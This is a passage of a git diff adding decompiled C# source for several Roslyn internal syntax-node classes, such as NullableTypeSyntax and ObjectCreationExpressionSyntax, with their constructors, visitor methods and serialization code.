writer.WriteValue((IObjectWritable)(object)externs); + writer.WriteValue((IObjectWritable)(object)usings); + writer.WriteValue((IObjectWritable)(object)members); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static NamespaceDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(NamespaceDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new NamespaceDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NullableDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NullableDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..a632931 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NullableDirectiveTriviaSyntax.cs @@ -0,0 +1,192 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class NullableDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken nullableKeyword; + + internal readonly SyntaxToken settingToken; + + internal readonly SyntaxToken? targetToken; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken NullableKeyword => nullableKeyword; + + public SyntaxToken SettingToken => settingToken; + + public SyntaxToken? TargetToken => targetToken; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal NullableDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken nullableKeyword, SyntaxToken settingToken, SyntaxToken? targetToken, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nullableKeyword); + this.nullableKeyword = nullableKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)settingToken); + this.settingToken = settingToken; + if (targetToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)targetToken); + this.targetToken = targetToken; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal NullableDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken nullableKeyword, SyntaxToken settingToken, SyntaxToken? targetToken, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nullableKeyword); + this.nullableKeyword = nullableKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)settingToken); + this.settingToken = settingToken; + if (targetToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)targetToken); + this.targetToken = targetToken; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal NullableDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken nullableKeyword, SyntaxToken settingToken, SyntaxToken? targetToken, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nullableKeyword); + this.nullableKeyword = nullableKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)settingToken); + this.settingToken = settingToken; + if (targetToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)targetToken); + this.targetToken = targetToken; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => nullableKeyword, + 2 => settingToken, + 3 => targetToken, + 4 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.NullableDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNullableDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNullableDirectiveTrivia(this); + } + + public NullableDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken nullableKeyword, SyntaxToken settingToken, SyntaxToken targetToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || nullableKeyword != NullableKeyword || settingToken != SettingToken || targetToken != TargetToken || endOfDirectiveToken != EndOfDirectiveToken) + { + NullableDirectiveTriviaSyntax nullableDirectiveTriviaSyntax = SyntaxFactory.NullableDirectiveTrivia(hashToken, nullableKeyword, settingToken, targetToken, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + nullableDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(nullableDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + nullableDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(nullableDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return nullableDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new NullableDirectiveTriviaSyntax(base.Kind, hashToken, nullableKeyword, settingToken, targetToken, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new NullableDirectiveTriviaSyntax(base.Kind, hashToken, nullableKeyword, settingToken, targetToken, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal NullableDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 5; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + nullableKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + settingToken = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + targetToken = syntaxToken4; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + endOfDirectiveToken = syntaxToken5; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)nullableKeyword); + writer.WriteValue((IObjectWritable)(object)settingToken); + writer.WriteValue((IObjectWritable)(object)targetToken); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static NullableDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(NullableDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new NullableDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NullableTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NullableTypeSyntax.cs new file mode 100644 index 0000000..e2a0b58 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/NullableTypeSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class NullableTypeSyntax : TypeSyntax +{ + internal readonly TypeSyntax elementType; + + internal readonly SyntaxToken questionToken; + + public TypeSyntax ElementType => elementType; + + public SyntaxToken QuestionToken => questionToken; + + internal NullableTypeSyntax(SyntaxKind kind, TypeSyntax elementType, SyntaxToken questionToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elementType); + this.elementType = elementType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)questionToken); + this.questionToken = questionToken; + } + + internal NullableTypeSyntax(SyntaxKind kind, TypeSyntax elementType, SyntaxToken questionToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elementType); + this.elementType = elementType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)questionToken); + this.questionToken = questionToken; + } + + internal NullableTypeSyntax(SyntaxKind kind, TypeSyntax elementType, SyntaxToken questionToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elementType); + this.elementType = elementType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)questionToken); + this.questionToken = questionToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => elementType, + 1 => questionToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.NullableTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNullableType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNullableType(this); + } + + public NullableTypeSyntax Update(TypeSyntax elementType, SyntaxToken questionToken) + { + if (elementType != ElementType || questionToken != QuestionToken) + { + NullableTypeSyntax nullableTypeSyntax = SyntaxFactory.NullableType(elementType, questionToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + nullableTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(nullableTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + nullableTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(nullableTypeSyntax, (IEnumerable)annotations); + } + return nullableTypeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new NullableTypeSyntax(base.Kind, elementType, questionToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new NullableTypeSyntax(base.Kind, elementType, questionToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal NullableTypeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + elementType = typeSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + questionToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)elementType); + writer.WriteValue((IObjectWritable)(object)questionToken); + } + + static NullableTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(NullableTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new NullableTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ObjectCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ObjectCreationExpressionSyntax.cs new file mode 100644 index 0000000..34b7417 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ObjectCreationExpressionSyntax.cs @@ -0,0 +1,180 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ObjectCreationExpressionSyntax : BaseObjectCreationExpressionSyntax +{ + internal readonly SyntaxToken newKeyword; + + internal readonly TypeSyntax type; + + internal readonly ArgumentListSyntax? argumentList; + + internal readonly InitializerExpressionSyntax? initializer; + + public override SyntaxToken NewKeyword => newKeyword; + + public TypeSyntax Type => type; + + public override ArgumentListSyntax? ArgumentList => argumentList; + + public override InitializerExpressionSyntax? Initializer => initializer; + + internal ObjectCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, TypeSyntax type, ArgumentListSyntax? argumentList, InitializerExpressionSyntax? initializer, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (argumentList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal ObjectCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, TypeSyntax type, ArgumentListSyntax? argumentList, InitializerExpressionSyntax? initializer, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (argumentList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal ObjectCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, TypeSyntax type, ArgumentListSyntax? argumentList, InitializerExpressionSyntax? initializer) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (argumentList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => newKeyword, + 1 => type, + 2 => argumentList, + 3 => initializer, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ObjectCreationExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitObjectCreationExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitObjectCreationExpression(this); + } + + public ObjectCreationExpressionSyntax Update(SyntaxToken newKeyword, TypeSyntax type, ArgumentListSyntax argumentList, InitializerExpressionSyntax initializer) + { + if (newKeyword != NewKeyword || type != Type || argumentList != ArgumentList || initializer != Initializer) + { + ObjectCreationExpressionSyntax objectCreationExpressionSyntax = SyntaxFactory.ObjectCreationExpression(newKeyword, type, argumentList, initializer); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + objectCreationExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(objectCreationExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + objectCreationExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(objectCreationExpressionSyntax, (IEnumerable)annotations); + } + return objectCreationExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ObjectCreationExpressionSyntax(base.Kind, newKeyword, type, argumentList, initializer, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ObjectCreationExpressionSyntax(base.Kind, newKeyword, type, argumentList, initializer, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ObjectCreationExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + newKeyword = syntaxToken; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + ArgumentListSyntax argumentListSyntax = (ArgumentListSyntax)reader.ReadValue(); + if (argumentListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentListSyntax); + argumentList = argumentListSyntax; + } + InitializerExpressionSyntax initializerExpressionSyntax = (InitializerExpressionSyntax)reader.ReadValue(); + if (initializerExpressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializerExpressionSyntax); + initializer = initializerExpressionSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)newKeyword); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)argumentList); + writer.WriteValue((IObjectWritable)(object)initializer); + } + + static ObjectCreationExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ObjectCreationExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ObjectCreationExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OmittedArraySizeExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OmittedArraySizeExpressionSyntax.cs new file mode 100644 index 0000000..8ca30dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OmittedArraySizeExpressionSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class OmittedArraySizeExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken omittedArraySizeExpressionToken; + + public SyntaxToken OmittedArraySizeExpressionToken => omittedArraySizeExpressionToken; + + internal OmittedArraySizeExpressionSyntax(SyntaxKind kind, SyntaxToken omittedArraySizeExpressionToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)omittedArraySizeExpressionToken); + this.omittedArraySizeExpressionToken = omittedArraySizeExpressionToken; + } + + internal OmittedArraySizeExpressionSyntax(SyntaxKind kind, SyntaxToken omittedArraySizeExpressionToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)omittedArraySizeExpressionToken); + this.omittedArraySizeExpressionToken = omittedArraySizeExpressionToken; + } + + internal OmittedArraySizeExpressionSyntax(SyntaxKind kind, SyntaxToken omittedArraySizeExpressionToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)omittedArraySizeExpressionToken); + this.omittedArraySizeExpressionToken = omittedArraySizeExpressionToken; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)omittedArraySizeExpressionToken; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.OmittedArraySizeExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOmittedArraySizeExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOmittedArraySizeExpression(this); + } + + public OmittedArraySizeExpressionSyntax Update(SyntaxToken omittedArraySizeExpressionToken) + { + if (omittedArraySizeExpressionToken != OmittedArraySizeExpressionToken) + { + OmittedArraySizeExpressionSyntax omittedArraySizeExpressionSyntax = SyntaxFactory.OmittedArraySizeExpression(omittedArraySizeExpressionToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + omittedArraySizeExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(omittedArraySizeExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + omittedArraySizeExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(omittedArraySizeExpressionSyntax, (IEnumerable)annotations); + } + return omittedArraySizeExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new OmittedArraySizeExpressionSyntax(base.Kind, omittedArraySizeExpressionToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new OmittedArraySizeExpressionSyntax(base.Kind, omittedArraySizeExpressionToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal OmittedArraySizeExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + omittedArraySizeExpressionToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)omittedArraySizeExpressionToken); + } + + static OmittedArraySizeExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(OmittedArraySizeExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new OmittedArraySizeExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OmittedTypeArgumentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OmittedTypeArgumentSyntax.cs new file mode 100644 index 0000000..00598d5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OmittedTypeArgumentSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class OmittedTypeArgumentSyntax : TypeSyntax +{ + internal readonly SyntaxToken omittedTypeArgumentToken; + + public SyntaxToken OmittedTypeArgumentToken => omittedTypeArgumentToken; + + internal OmittedTypeArgumentSyntax(SyntaxKind kind, SyntaxToken omittedTypeArgumentToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)omittedTypeArgumentToken); + this.omittedTypeArgumentToken = omittedTypeArgumentToken; + } + + internal OmittedTypeArgumentSyntax(SyntaxKind kind, SyntaxToken omittedTypeArgumentToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)omittedTypeArgumentToken); + this.omittedTypeArgumentToken = omittedTypeArgumentToken; + } + + internal OmittedTypeArgumentSyntax(SyntaxKind kind, SyntaxToken omittedTypeArgumentToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)omittedTypeArgumentToken); + this.omittedTypeArgumentToken = omittedTypeArgumentToken; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)omittedTypeArgumentToken; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.OmittedTypeArgumentSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOmittedTypeArgument(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOmittedTypeArgument(this); + } + + public OmittedTypeArgumentSyntax Update(SyntaxToken omittedTypeArgumentToken) + { + if (omittedTypeArgumentToken != OmittedTypeArgumentToken) + { + OmittedTypeArgumentSyntax omittedTypeArgumentSyntax = SyntaxFactory.OmittedTypeArgument(omittedTypeArgumentToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + omittedTypeArgumentSyntax = GreenNodeExtensions.WithDiagnosticsGreen(omittedTypeArgumentSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + omittedTypeArgumentSyntax = GreenNodeExtensions.WithAnnotationsGreen(omittedTypeArgumentSyntax, (IEnumerable)annotations); + } + return omittedTypeArgumentSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new OmittedTypeArgumentSyntax(base.Kind, omittedTypeArgumentToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new OmittedTypeArgumentSyntax(base.Kind, omittedTypeArgumentToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal OmittedTypeArgumentSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + omittedTypeArgumentToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)omittedTypeArgumentToken); + } + + static OmittedTypeArgumentSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(OmittedTypeArgumentSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new OmittedTypeArgumentSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OperatorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OperatorDeclarationSyntax.cs new file mode 100644 index 0000000..dd3f151 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OperatorDeclarationSyntax.cs @@ -0,0 +1,356 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace 